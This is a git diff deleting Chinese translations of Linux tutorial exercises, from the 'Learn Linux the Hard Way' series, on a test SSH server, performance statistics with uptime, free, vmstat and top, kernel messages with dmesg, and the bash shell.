\_ -bash -user1 27051 0.0 0.2 16308 1060 pts/0 R+ 09:50 0:00 | \_ ps au --forest -user1 27021 1.1 0.5 38504 2880 pts/2 S+ 09:50 0:00 \_ ssh vm1 -v -p 1024 -root 1107 0.0 0.1 5932 620 tty6 Ss+ Jul18 0:00 /sbin/getty 38400 tty6 -root 1106 0.0 0.1 5932 616 tty5 Ss+ Jul18 0:00 /sbin/getty 38400 tty5 -root 1105 0.0 0.1 5932 620 tty4 Ss+ Jul18 0:00 /sbin/getty 38400 tty4 -root 1104 0.0 0.1 5932 620 tty3 Ss+ Jul18 0:00 /sbin/getty 38400 tty3 -root 1103 0.0 0.1 5932 616 tty2 Ss+ Jul18 0:00 /sbin/getty 38400 tty2 -root 1102 0.0 0.1 5932 616 tty1 Ss+ Jul18 0:00 /sbin/getty 38400 tty1 -user1@vm1:~$ logout -user1@vm1:~/ssh_test$ -[1]+ Exit 255 /usr/sbin/sshd -Ddf sshd_config > sshd.out 2>&1 -user1@vm1:~/ssh_test$ /usr/sbin/sshd -Ddf sshd_config >> sshd.out 2>&1 & -[1] 27067 -user1@vm1:~/ssh_test$ scp -v -P 1024 vm1:.bashrc . 2>scp.out -Environment: - LANG=en_US.UTF-8 - USER=user1 - LOGNAME=user1 - HOME=/home/user1 - PATH=/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games - MAIL=/var/mail/user1 - SHELL=/bin/bash - SSH_CLIENT=127.0.1.1 47459 1024 - SSH_CONNECTION=127.0.1.1 47459 127.0.1.1 1024 -.bashrc 100% 3184 3.1KB/s 00:00 -[1]+ Exit 255 /usr/sbin/sshd -Ddf sshd_config >> sshd.out 2>&1 -``` - -## 解释 - -1. 创建`/home/user1/ssh_test`目录。 -1. 使其成为当前工作目录。 -1. 将`sshd_config`复制到此目录。 -1. 将`sshd`监听端口从 22 更改为 1024,将副本命名为`sshd_config.bak`。 -1. 替换 RSA 主机密钥位置。 -1. 替换 DSA 主机密钥位置。 -1. 显示`sshd_config`的旧版本和新版本之间的差异。 -1. 生成具有空密码的,新的 4096 位 RSA 主机密钥对,将其保存到`/home/user1/ssh_test/ssh_host_rsa_key`和`/home/user1/ssh_test/ssh_host_rsa_key.pub`。 -1. 同样的,但是对 DSA 密钥执行。 -1. 生成新的认证密钥对,将其保存到`/home/user1/.ssh/id_rsa`和`/home/user1/.ssh/id_rsa.pub`。 -1. 将`id_rsa.pub`复制到`/home/user1/.ssh/authorized_keys`,来允许无密码认证。 -1. 在调试模式下,在端口 1024 上启动新的 SSH 服务器,将所有输出保存到`sshd.log`。 -1. 提取 SSH 客户端的主机认证密钥,并将其提供给`/home/user1/.ssh/known_hosts`。 -1. 在调试模式下,在端口 1024 上启动新的 SSH 服务器,将所有输出附加到`sshd.log`。这是因为在调试模式下, SSH 服务器只维护一个连接。 -1. 使用`ssh`客户端连接到此服务器。 -1. 以树形式打印当前正在运行的进程。你可以看到,你正在使用`sshd`启动的 bash,它服务于你的连接,而`sshd`又是由`sshd`启动,你在几行之前启动了你自己。。 -1. 退出`ssh`会话。 -1. 再次启动 SSH 服务器。 -1. 将文件`.bashrc`从你的主目录复制到当前目录。 - -## 附加题 - -观看此视频,它解释了加密如何工作: -阅读: -阅读文件`ssh.out`,`scp.out`和`sshd.out`中的调试输出。向你自己解释发生了什么。 diff --git a/docs/llthw-zh/ex28.md b/docs/llthw-zh/ex28.md deleted file mode 100644 index c0cdf045..00000000 --- a/docs/llthw-zh/ex28.md +++ /dev/null @@ -1,363 +0,0 @@ -# 练习 28:性能:获取性能情况,`uptime`,`free`,`top` - -> 原文:[Exercise 28. Performance: getting performance stats, uptime, free, top](https://archive.fo/U2SqV) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -这个练习很简单。首先,我们需要什么样的性能数据? - -+ CPU 使用情况: - + 它的负载如何? - + 哪些进程正在使用它? -+ 内存使用情况: - + 使用了多少内存? - + 多少内存是空闲的? - + 多少内存用于缓存? - + 哪些进程消耗了它? -+ 磁盘使用情况: - + 执行多少输入/输出操作? - + 由哪个进程? -+ 网络使用情况: - + 传输了多少数据? - + 由哪个进程? -+ 进程情况: - + 有多少进程? - + 他们在做什么 工作,还是等待什么? - + 如果在等待什么,它是什么呢?CPU,磁盘,网络? - -为了获取这些情况,我们可以使用以下工具: - -+ `uptime` - 系统运行了多长时间。 -+ `free` - 显示系统中可用和使用的内存量。 -+ `vmstat` - 进程,内存,分页,块 IO,陷阱,磁盘和 cpu 活动的信息。 -+ `top` - 实时显示 Linux 任务。 - -我们来看看这个程序及其输出。 - -`uptime`的输出: - -``` -user1@vm1:~$ uptime -#(1) (2) (3) (4) (5) (6) - 03:13:58 up 4 days, 22:45, 1 user, load average: 0.00, 0.00, 0.00 -``` - -字段和描述: - -| 字段 | 描述 | -| --- | --- | -| (1) | 当前时间。 | -| (2) | 正常运行时间(启动后的时间)。 | -| (3) | 目前有多少用户登录。 | -| (4) | 过去 1 分钟的 CPU 负载。这不是规范化的,所以负载均值为 1 意味着单个 CPU 的满负载,但是在 4 个 CPU 的系统上,这意味着它有 75% 空闲时间。 | -| (5) | 过去 5 分钟的 CPU 负载。 | -| (6) | 过去 15 分钟的 CPU 负载。 | - -`free`的输出: - -``` -user1@vm1:~$ free -mt -# (1) (2) (3) (4) (5) (6) - total used free shared buffers cached -Mem: 496 267 229 0 27 196 -# (7) (8) --/+ buffers/cache: 43 453 -# 9 -Swap: 461 0 461 -# 10 -Total: 958 267 691 -``` - -字段和描述: - -| 字段 | 描述 | -| --- | --- | -| (1) | 物理内存总量。 | -| (2) | 使用的物理内存总量。 | -| (3) | 空闲的物理内存总量。 | -| (4) | 共享内存列应该被忽略;它已经过时了。 | -| (5) | 专用于缓存磁盘块的 RAM 和文件系统元数据总量。 | -| (6) | 专用于从文件读取的页面的 RAM 总量。 | -| (7) | 物理内存总量,不包括缓冲区和缓存,(2)-(5)-(6) | -| (8) | 空闲的物理内存总量,包括空闲的缓冲区和缓存,(1)-(7) | -| (9) | 交换文件使用信息。 | -| (10) | 总内存使用信息,包括交换内存 | - -`vmstat`输出: - -``` -user1@vm1:~$ vmstat -S M -procs -----------memory---------- ---swap-- -----io---- -system-- ----cpu---- -#(1,2) (3) (4) (5) (6) (7) (8) (9) (10) (11) (12,13,14,15,16) - r b swpd free buff cache si so bi bo in cs us sy id wa - 0 0 0 229 27 196 0 0 0 0 11 6 0 0 100 0 - -user1@vm1:~$ vmstat -S M -a -# (17) (18) -procs -----------memory---------- ---swap-- -----io---- -system-- ----cpu---- - r b swpd free inact active si so bi bo in cs us sy id wa - 0 0 0 11 434 19 0 0 24 2 11 6 0 0 100 0 - -user1@vm1:~$ vmstat -d -#19 (20) (21) (22) (23) (24) (25) (26) (27) (28) (29) -disk- ------------reads------------ ------------writes----------- -----IO------ - total merged sectors ms total merged sectors ms cur sec -sda 11706 353 402980 17612 9303 40546 336358 46980 0 19 -sr0 0 0 0 0 0 0 0 0 0 0 -loop0 0 0 0 0 0 0 0 0 0 0 - -user1@vm1:~$ vmstat -m | head -#(30) (31) (32) (33) (34) -Cache Num Total Size Pages -ext3_inode_cache 13700 13700 808 10 -ext3_xattr 0 0 88 46 -journal_handle 170 170 24 170 -journal_head 37 72 112 36 -revoke_table 256 256 16 256 -revoke_record 128 128 32 128 -kmalloc_dma-512 8 8 512 8 -ip6_dst_cache 16 24 320 12 -UDPLITEv6 0 0 1024 8 -``` - -字段和描述: - -| 模式 | 情况 | 字段 | 描述 | -| --- | --- | --- | --- | -| 虚拟内存 | 进程 | (1) | r:等待运行的进程数。 | -| | | (2) | b:不间断睡眠中的进程数。 | -| | 内存 | (3) | swpd:使用的虚拟内存量。 | -| | | (4) | free:空闲内存量。 | -| | | (5) | buff:用作缓冲区的内存量。 | -| | | (6) | cache:用作缓存的内存量。 | -| | | (17) | inact:非活动内存量。 | -| | | (18) | active:活动内存量。 | -| | 交换 | (7) | si:从磁盘换入的内存量(/秒)。 | -| | | (8) | so:换出到磁盘的内存量(/秒)。 | -| | I/O | (9) | bi:从设备接收的块(块/秒)。 | -| | | (10) | bo:发送到设备的块(块/秒)。 | -| | 系统 | (11) | in:每秒中断的次数,包括时钟。 | -| | | (12) | cs:每秒上下文切换的数量。 | -| | CPU | (13) | us:运行非内核代码的时间。(用户时间,包括优先的时间) | -| | | (14) | sy:运行内核代码的时间。(系统时间) | -| | | (15) | id:闲置时间。在 Linux 2.5.41 之前,这包括 IO 等待时间。 | -| | | (16) | wa:IO 等待时间。在 Linux 2.5.41 之前,包含在闲置时间中。 | -| 磁盘,`-d` | 设备 | (19) | 设备名称 | -| | 读 | (20) | total:成功完成的总读取数 | -| | | (21) | merge:分组的读取数(生成一个 I/O) | -| | | (22) | sectors:成功读取的分区 | -| | | (23) | ms:用于读取的毫秒 | -| | 写 | (24) | total:成功完成的总写入数 | -| | | (25) | merge:分组的写入数(生成一个 I/O) | -| | | (26) | sectors:成功写入的分区 | -| | | (27) | ms:用于写入的毫秒 | -| | I/O | (28) | cur:正在进行中的 I/O | -| | | (29) | s:用于 I/O 的秒数 | -| Slab,`-m` | Slab | (30) | 缓存:缓存名称 | -| | | (31) | num:当前活动对象的数量 | -| | | (32) | total:可用对象的总数 | -| | | (33) | size:每个对象的大小 | -| | | (34) | page:具有至少一个活动对象的页数 | - -`top`的输出: - -``` -# (1) (2) (3) (4) -top - 03:22:44 up 4 days, 22:54, 1 user, load average: 0.00, 0.00, 0.00 -# (5) (6) (7) (8) (9) -Tasks: 63 total, 1 running, 62 sleeping, 0 stopped, 0 zombie -# (10) (11) (12) (13) (14) (15) (16) (17) -Cpu(s): 0.0%us, 1.1%sy, 0.0%ni, 98.9%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st -# (18) (19) (20) (21) -Mem: 508820k total, 273792k used, 235028k free, 27844k buffers -# (22) (23) (24) (25) -Swap: 473080k total, 0k used, 473080k free, 201252k cached - -#(26) (27) (28)(29) (30) (31) (32,33) (34)(35) (36) (37) - PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND - 1 root 20 0 8356 804 676 S 0.0 0.2 0:05.99 init - 2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd - 3 root RT 0 0 0 0 S 0.0 0.0 0:00.00 migration/0 - 4 root 20 0 0 0 0 S 0.0 0.0 0:00.06 ksoftirqd/0 - 5 root RT 0 0 0 0 S 0.0 0.0 0:00.00 watchdog/0 - 6 root 20 0 0 0 0 S 0.0 0.0 0:03.25 events/0 - 7 root 20 0 0 0 0 S 0.0 0.0 0:00.00 cpuset -<...> -``` - -字段和输出: - -| 部分 | 字段 | 描述 | -| --- | --- | --- | -| 正常运行时间 | (1) | 当前时间。 | -| | (2) | 正常运行时间(启动后的时间)。 | -| | (3) | 目前有多少用户登录。 | -| | (4) | 过去 1,5 和 15 分钟内的 CPU 负载。这不是规范化的,所以负载均值为 1 意味着单个 CPU 的满负载,但是在 4 个 CPU 的系统上,这意味着它有 75% 空闲时间。 | -| 任务 | (5) | 运行进程总数。 | -| | (6) | 当前正在执行的进程数。 | -| | (7) | 当前正在睡眠的进程数。 | -| | (8) | 被停止的进程数(例如使用`CTRL + Z`)。 | -| | (9) | 已经停止(“僵尸”)的进程数量,已终止,但未由其父进程回收。 | -| CPU(S) | (10) | CPU 运行不优先的用户进程的时间。 | -| | (11) | CPU 运行内核及其进程的时间。 | -| | (12) | CPU 运行优先的用户进程的时间。 | -| | (13) | CPU 花费的空闲时间。 | -| | (14) | CPU 等待 I/O 完成的时间。 | -| | (15) | CPU 维护硬件中断的时间。 | -| | (16) | CPU 维护软件中断的时间。 | -| | (17) | 由管理程序从这个虚拟机“偷走”的 CPU 总量,用于其他任务(例如启动另一个虚拟机)。 | -| 内存/交换 | (18) | 物理内存总量。 | -| | (19) | 使用的物理内存总量。 | -| | (20) | 完全空闲的物理内存。 | -| | (21) | 专用于缓存磁盘块的 RAM 和文件系统元数据总量。 | -| | (22,23,24) | 总,使用和空闲交换内存。 | -| | (25) | 专用于从文件读取的页面的 RAM 总量。 | -| 进程 | (26) | 任务的唯一进程 ID,它定期地包装,尽管从未重新启动。 | -| | (27) | 任务所有者的有效用户名。 | -| | (28) | 任务的优先级。 | -| | (29) | 任务的优先值。负的优先值表示更高的优先级,而正的优先值表示较低的优先级。在这个字段中的零只是代表在确定任务的调度时不会调整优先级。 | -| | (30) | 任务使用的虚拟内存总量。它包括所有代码,数据和共享库,以及已经被替换的页面。以及已被映射但未被使用的页面。 | -| | (31) | 任务已使用的未交换的物理内存。 | -| | (32) | 任务使用的共享内存量。它只是反映可能与其他进程共享的内存。 | -| | (33) | 任务的状态可以是以下之一:`D`=不间断睡眠,`R`=运行,`S`=睡眠,`T`=跟踪或停止,`Z`=僵尸。 | -| | (34) | 自上次屏幕更新以来,所经过的 CPU 时间的任务份额,以 CPU 时间总数的百分比表示。 | -| | (35) | 任务当前使用的可用物理内存的份额。 | -| | (36) | CPU 时间,单位是百分之一秒,与`TIME`相同,但通过百分之一秒反映更大的粒度。 | -| | (37) | 命令 - 命令行或程序名称 | - -你可能会看到很多字段。许多字段都存在于多个工具中,这些工具有些冗余的功能。通常情况下,你只需要这个字段的一小部分,但你需要知道,系统性能的许多信息(实际上还有更多)可用于你,因为有时候会出现一个模糊的问题,并且为了能够解决它,需要知道如何读取这些数据。 - -现在,你将学习如何使用系统性能工具。 - -## 这样做 - -``` - 1: uptime - 2: free - 3: vmstat - 4: ( sleep 5 && dd if=/dev/urandom of=/dev/null bs=1M count=30 && sleep 5 && killall vmstat )& vmstat 1 - 5: uptime - 6: ( sleep 5 && dd if=/dev/zero of=test.img bs=32 count=$((32*1024*200)) && sleep 5 && killall vmstat )& vmstat -nd 1 | egrep -v 'loop|sr0' - 7: echo 3 | sudo tee /proc/sys/vm/drop_caches - 8: free -mt ; find / >/dev/null 2>&1 ; free -mt - 9: echo 3 | sudo tee /proc/sys/vm/drop_caches -10: cat test.img /dev/null ; free -mt -``` - -## 你会看到什么 - -``` -user1@vm1:~$ uptime - 05:36:45 up 6 days, 1:08, 1 user, load average: 0.00, 0.00, 0.00 -user1@vm1:~$ free - total used free shared buffers cached -Mem: 508820 239992 268828 0 820 213720 --/+ buffers/cache: 25452 483368 -Swap: 473080 0 473080 -user1@vm1:~$ vmstat -procs -----------memory---------- ---swap-- -----io---- -system-- ----cpu---- - r b swpd free buff cache si so bi bo in cs us sy id wa - 0 0 0 268828 820 213720 0 0 21 10 14 11 0 0 100 0 -user1@vm1:~$ ( sleep 5 && dd if=/dev/urandom of=/dev/null bs=1M count=30 && sleep 5 && killall vmstat )& vmstat 1 -[1] 6078 -procs -----------memory---------- ---swap-- -----io---- -system-- ----cpu---- - r b swpd free buff cache si so bi bo in cs us sy id wa - 1 1 0 268556 828 213736 0 0 21 10 14 11 0 0 100 0 - 0 0 0 268556 828 213772 0 0 16 0 19 10 0 0 100 0 - 0 0 0 268556 828 213772 0 0 0 0 13 8 0 0 100 0 - 0 0 0 268556 828 213772 0 0 0 0 15 11 0 0 100 0 - 0 0 0 268556 828 213772 0 0 0 0 14 10 0 0 100 0 - 0 0 0 268556 828 213772 0 0 0 0 18 13 0 0 100 0 - 1 0 0 267316 836 213844 0 0 74 0 267 26 0 99 1 0 - 1 0 0 267316 836 213844 0 0 0 0 303 7 0 100 0 0 - 1 0 0 267316 836 213844 0 0 0 0 271 11 0 100 0 0 - 1 0 0 267316 836 213844 0 0 0 0 257 12 0 100 0 0 -30+0 records in -30+0 records out -31457280 bytes (31 MB) copied, 4.95038 s, 6.4 MB/s - 0 0 0 267928 860 213860 0 0 27 0 265 29 1 97 2 0 - 0 0 0 267936 860 213848 0 0 0 0 15 9 0 0 100 0 - 0 0 0 267936 860 213848 0 0 0 0 14 7 0 0 100 0 - 0 0 0 267936 860 213848 0 0 0 0 14 7 0 0 100 0 - 0 0 0 267936 860 213848 0 0 0 0 13 11 0 0 100 0 -Terminated -user1@vm1:~$ uptime - 05:22:15 up 6 days, 54 min, 1 user, load average: 0.07, 0.02, 0.00 -[1]+ Done ( sleep 5 && dd if=/dev/urandom of=/dev/null bs=1M count=30 && sleep 5 && killall vmstat ) -user1@vm1:~$ uptime - 05:22:22 up 6 days, 54 min, 1 user, load average: 0.06, 0.02, 0.00 -user1@vm1:~$ ( sleep 5 && dd if=/dev/zero of=test.img bs=32 count=$((32*1024*200)) && sleep 5 && killall vmstat )& vmstat -nd 1 | egrep -v 'loop|sr0' -[1] 6086 -disk- ------------reads------------ ------------writes----------- -----IO------ - total merged sectors ms total merged sectors ms cur sec -sda 146985 2230744 21821320 105848 32190 1343154 10927338 1330144 0 105 -sda 146995 2230744 21821648 105848 32190 1343154 10927338 1330144 0 105 -sda 146995 2230744 21821648 105848 32190 1343154 10927338 1330144 0 105 -sda 146995 2230744 21821648 105848 32190 1343154 10927338 1330144 0 105 -sda 146995 2230744 21821648 105848 32190 1343154 10927338 1330144 0 105 -sda 146995 2230744 21821648 105848 32190 1343154 10927338 1330144 0 105 -sda 146999 2230744 21821680 105856 32190 1343154 10927338 1330144 0 105 -sda 146999 2230744 21821680 105856 32190 1343154 10927338 1330144 0 105 -sda 147000 2230744 21821688 105856 32208 1344160 10935530 1330288 0 105 -sda 147000 2230744 21821688 105856 32274 1349214 10976490 1330748 0 105 -sda 147000 2230744 21821688 105856 32325 1353259 11009258 1331236 0 105 -sda 147000 2230744 21821688 105856 32450 1364657 11101442 1337176 0 105 -sda 147000 2230744 21821688 105856 32450 1364657 11101442 1337176 0 105 -sda 147001 2230744 21821696 105856 32471 1366301 11114762 1337348 0 105 -sda 147001 2230744 21821696 105856 32525 1370529 11149018 1337732 0 105 -sda 147001 2230744 21821696 105856 32573 1374577 11181786 1338064 0 105 -sda 147001 2230744 21821696 105856 32698 1386562 11278666 1346244 0 105 -6553600+0 records in -6553600+0 records out -209715200 bytes (210 MB) copied, 11.7088 s, 17.9 MB/s -sda 147001 2230744 21821696 105856 32698 1386562 11278666 1346244 0 105 -sda 147001 2230744 21821696 105856 32698 1386562 11278666 1346244 0 105 -sda 147001 2230744 21821696 105856 32698 1386562 11278666 1346244 0 105 -sda 147001 2230744 21821696 105856 32698 1386562 11278666 1346244 0 105 -sda 147001 2230744 21821696 105856 32762 1393910 11337962 1349192 0 105 -user1@vm1:~$ echo 3 | sudo tee /proc/sys/vm/drop_caches -3 -[1]+ Done ( sleep 5 && dd if=/dev/zero of=test.img bs=32 count=$((32*1024*200)) && sleep 5 && killall vmstat ) -user1@vm1:~$ free -mt ; find / >/dev/null 2>&1 ; free -mt - total used free shared buffers cached -Mem: 496 30 466 0 0 5 --/+ buffers/cache: 24 472 -Swap: 461 0 461 -Total: 958 30 928 - total used free shared buffers cached -Mem: 496 64 432 0 22 6 --/+ buffers/cache: 35 461 -Swap: 461 0 461 -Total: 958 64 894 -user1@vm1:~$ echo 3 | sudo tee /proc/sys/vm/drop_caches -3 -user1@vm1:~$ cat test.img /dev/null ; free -mt - total used free shared buffers cached -Mem: 496 230 265 0 0 205 --/+ buffers/cache: 24 471 -Swap: 461 0 461 -Total: 958 230 727 -user1@vm1:~$ -``` - -## 解释 - -1. 打印当前的正常运行时间。 -1. 打印出可用内存信息。 -1. 这个很有趣,最好认为是一种实验。首先,我们在后台启动` ( sleep 5 && dd if=/dev/urandom of=/dev/null bs=1M count=30 && sleep 5 && killall vmstat )&`,之后我们 以连续模式启动`vmstat`,所以它将打印出其信息直到中断。我们可以看到,在这个命令启动 5 秒钟后,CPU 负载显着增加了一段时间,然后减少,另外 5 秒钟后`vmstat`被杀死。 -1. 打印当前的正常运行时间。注意负载平均值的变化。 -1. 这是另一个实验,几乎和以前一样,但这次用磁盘写入。 -1. 删除所有缓存和缓冲区。 -1. 另一个实验。我们想看看读取系统中的所有文件和目录名称,会如何影响内存中的文件系统缓存,并且我们可以看到它被缓存在缓冲区中,这是有理论根据的。 -1. 再次删除所有缓存和缓冲区。 -1. 这次我们想看看,文件读取如何影响内存中的文件系统缓存。我们可以看到读取的文件被缓存在缓存部分,来增加后续访问的时间。 - -## 附加题 - -+ 为什么在我们的第一个实验中,不是`user`,而是`system` CPU 使用率上升到 100? -+ 这是什么意思?`dd if=/dev/zero of=test.img bs=32 count=$( (32*1024*200) )`。 -+ 启动`top`,并按下`h`。现在尝试按照 CPU,内存和 PID 对其输出进行排序。 diff --git a/docs/llthw-zh/ex29.md b/docs/llthw-zh/ex29.md deleted file mode 100644 index cf9fafd5..00000000 --- a/docs/llthw-zh/ex29.md +++ /dev/null @@ -1,116 +0,0 @@ -# 练习 29:内核:内核消息,`dmesg` - -> 原文:[Exercise 29. Kernel: kernel messages, dmesg](https://archive.fo/aZwFG) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -那么,如果你到达了这里,现在是谈谈[内核](http://en.wikipedia.org/wiki/Kernel_%28computing%29)的时候了。我们将使用维基百科的操作系统内核定义,开始这个讨论: - -> 在计算机中,内核(来自德语 Kern)是大多数计算机操作系统的主要组成部分;它是应用程序和硬件级别上进行的实际数据处理之间的桥梁。内核的职责包括管理系统的资源(硬件和软件组件之间的通信)。通常,作为操作系统的基本组件,内核可以为资源(特别是处理器和 I/O 设备)提供最底层的抽象,应用软件必须控制它来执行其功能。它通常通过进程间通信机制和系统调用,使这些设施可用于应用程序进程。 - -这是维基百科告诉我们的,Linux 内核的具体内容: - -> Linux 内核是 Linux 系列类 Unix 操作系统使用的操作系统内核。它是自由和开源软件最突出的例子之一。它支持真正的抢占式多任务(在用户模式和内核模式下),虚拟内存,共享库,按需加载,共享的写时复制(COW)可执行文件,内存管理,互联网协议组和线程。 - -现在是访问相应的维基百科文章的好时机,并花费一些时间疯狂点击所有可怕的术语,它们描述 Linux 内核的技术特性。这样做之后,让我们谈谈更多的单调的主题,这是内核告诉我们的一种方式。例如,如果 USB 记忆棒连接到计算机,或者网络链接断开或挂载了文件系统,则会发生这种情况。为了能够告诉你所有这些东西,内核使用一种称为显示消息 或驱动消息的机制,其名称缩写为`dmesg`。 - -该机制由固定大小的缓冲区表示,内核向它写入消息。在 Debian Linux 上,系统日志守护进程启动后,从缓冲区发布的信息也会被复制到`/var/log/dmesg`。这样做是为了保留这些消息,否则将被新的消息覆盖。 - -`dmesg`也是工具的名称,它允许你查看当前在内核缓冲区中的那些消息,并更改此缓冲区大小。 - -让我总结一下`dmesg`相关的文件和程序: - -+ `dmesg` - 打印或控制内核环缓冲区 -+ `/var/log/dmseg` - Debian 发行版中的日志文件,仅包含系统引导期间的`dmesg`消息副本,而不包含时间戳。 -+ `/var/log/kern.log` - Debian 发行版中的日志文件,包含所有`dmesg`消息的副本,包括时间戳请注意,`rsyslog` 日志守护进程启动后,这个时间戳开始变化,这意味着`rsyslog`启动前,所有引导时的消息将具有相同的时间戳。此文件本身包含`/var/log/dmseg`。 -+ `/var/log/messages` - Debian 发行版中的日志文件,记录所有非调试和非关键消息。它本身包含`/var/log/dmesg`。 -+ `/var/log/syslog` - Debian 发行版中的日志文件,记录了所有信息,但权限相关的信息除外。它包含`/var/log/messages`和`/var/log/kern.log`中的所有消息。 - -## 这样做 - -``` -1: date -2: sudo umount /tmp ; sudo mount /tmp -3: sudo tail -f /var/log/dmesg /var/log/messages /var/log/syslog /var/log/kern.log -``` - -## 你会看到什么 - -``` -user1@vm1:~$ date -Tue Jul 24 06:55:33 EDT 2012 -user1@vm1:~$ sudo umount /tmp ; sudo mount /tmp -user1@vm1:~$ dmesg | tail -[ 7.166240] tun: Universal TUN/TAP device driver, 1.6 -[ 7.166242] tun: (C) 1999-2004 Max Krasnyansky -[ 7.432019] ADDRCONF(NETDEV_UP): eth0: link is not ready -[ 7.435270] e1000: eth0 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX -[ 7.435927] ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready -[ 17.472049] tap0: no IPv6 routers present -[ 17.592044] eth0: no IPv6 routers present -[ 217.497357] kjournald starting. Commit interval 5 seconds -[ 217.497561] EXT3 FS on sda8, internal journal -[ 217.497564] EXT3-fs: mounted filesystem with ordered data mode. -user1@vm1:~$ sudo tail /var/log/dmesg /var/log/messages /var/log/syslog /var/log/kern.log -==> /var/log/dmesg <== -[ 6.762569] EXT3 FS on sda5, internal journal -[ 6.762572] EXT3-fs: mounted filesystem with ordered data mode. -[ 6.767237] kjournald starting. Commit interval 5 seconds -[ 6.767407] EXT3 FS on sda6, internal journal -[ 6.767410] EXT3-fs: mounted filesystem with ordered data mode. -[ 7.166240] tun: Universal TUN/TAP device driver, 1.6 -[ 7.166242] tun: (C) 1999-2004 Max Krasnyansky -[ 7.432019] ADDRCONF(NETDEV_UP): eth0: link is not ready -[ 7.435270] e1000: eth0 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX -[ 7.435927] ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready - -==> /var/log/messages <== -Jul 24 06:52:07 vm1 kernel: [ 6.767407] EXT3 FS on sda6, internal journal -Jul 24 06:52:07 vm1 kernel: [ 6.767410] EXT3-fs: mounted filesystem with ordered data mode. -Jul 24 06:52:07 vm1 kernel: [ 7.166240] tun: Universal TUN/TAP device driver, 1.6 -Jul 24 06:52:07 vm1 kernel: [ 7.166242] tun: (C) 1999-2004 Max Krasnyansky -Jul 24 06:52:07 vm1 kernel: [ 7.432019] ADDRCONF(NETDEV_UP): eth0: link is not ready -Jul 24 06:52:07 vm1 kernel: [ 7.435270] e1000: eth0 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX -Jul 24 06:52:07 vm1 kernel: [ 7.435927] ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready -Jul 24 06:55:36 vm1 kernel: [ 217.497357] kjournald starting. Commit interval 5 seconds -Jul 24 06:55:36 vm1 kernel: [ 217.497561] EXT3 FS on sda8, internal journal -Jul 24 06:55:36 vm1 kernel: [ 217.497564] EXT3-fs: mounted filesystem with ordered data mode. - -==> /var/log/syslog <== -Jul 24 06:52:08 vm1 acpid: 1 rule loaded -Jul 24 06:52:08 vm1 acpid: waiting for events: event logging is off -Jul 24 06:52:08 vm1 /usr/sbin/cron[882]: (CRON) INFO (pidfile fd = 3) -Jul 24 06:52:08 vm1 /usr/sbin/cron[883]: (CRON) STARTUP (fork ok) -Jul 24 06:52:08 vm1 /usr/sbin/cron[883]: (CRON) INFO (Running @reboot jobs) -Jul 24 06:52:16 vm1 kernel: [ 17.472049] tap0: no IPv6 routers present -Jul 24 06:52:16 vm1 kernel: [ 17.592044] eth0: no IPv6 routers present -Jul 24 06:55:36 vm1 kernel: [ 217.497357] kjournald starting. Commit interval 5 seconds -Jul 24 06:55:36 vm1 kernel: [ 217.497561] EXT3 FS on sda8, internal journal -Jul 24 06:55:36 vm1 kernel: [ 217.497564] EXT3-fs: mounted filesystem with ordered data mode. - -==> /var/log/kern.log <== -Jul 24 06:52:07 vm1 kernel: [ 7.166240] tun: Universal TUN/TAP device driver, 1.6 -Jul 24 06:52:07 vm1 kernel: [ 7.166242] tun: (C) 1999-2004 Max Krasnyansky -Jul 24 06:52:07 vm1 kernel: [ 7.432019] ADDRCONF(NETDEV_UP): eth0: link is not ready -Jul 24 06:52:07 vm1 kernel: [ 7.435270] e1000: eth0 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX -Jul 24 06:52:07 vm1 kernel: [ 7.435927] ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready -Jul 24 06:52:16 vm1 kernel: [ 17.472049] tap0: no IPv6 routers present -Jul 24 06:52:16 vm1 kernel: [ 17.592044] eth0: no IPv6 routers present -Jul 24 06:55:36 vm1 kernel: [ 217.497357] kjournald starting. Commit interval 5 seconds -Jul 24 06:55:36 vm1 kernel: [ 217.497561] EXT3 FS on sda8, internal journal -Jul 24 06:55:36 vm1 kernel: [ 217.497564] EXT3-fs: mounted filesystem with ordered data mode. -``` - -## 解释 - -1. 打印出当前日期和时间。 -1. 从内核消息缓冲区打印最后 10 条消息。 -1. 从`/var/log/dmesg`, `/var/log/messages`, `/var/log/syslog`和`/var/log/kern.log`打印最后 10 条消息。 - -## 附加题 - -这就完了,没有附加题,哇哦! diff --git a/docs/llthw-zh/ex3.md b/docs/llthw-zh/ex3.md deleted file mode 100644 index 3def5c27..00000000 --- a/docs/llthw-zh/ex3.md +++ /dev/null @@ -1,167 +0,0 @@ -# 练习 3:Bash:Shell、`.profile`、`.bashrc`、`.bash_history`。 - -> 原文:[Exercise 3. Bash: The shell, .profile, .bashrc, .bash_history](https://archive.fo/DKP67) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -当使用 CLI(命令行界面)来使用 Linux 时,你正在与一个名为 shell 的程序进行交互。所有你输入的都传递给 shell,它解释你输入的内容,执行参数扩展(这有点类似于代数中的花括号扩展),并为你执行程序。我们将使用的 Shell 称为 Bash,它代表 Bourne Again Shell,而 Bourne Again Shell 又是一个双关语。现在我将使用纯中文,向大家介绍一下 bash 的工作方式: - -+ 你 - + 登入 Linux 虚拟机 - + 你的身份由用户名(`user1`)和密码(`123qwe`)确定。 - + Bash 执行了。 -+ Bash - + 从你的配置中读取并执行首个命令,它定义了: - + 命令提示符是什么样子 - + 使用 Linux 时,你会看到什么颜色 - + 你的编辑器是什么 - + 你的浏览器是什么 - + ... - + 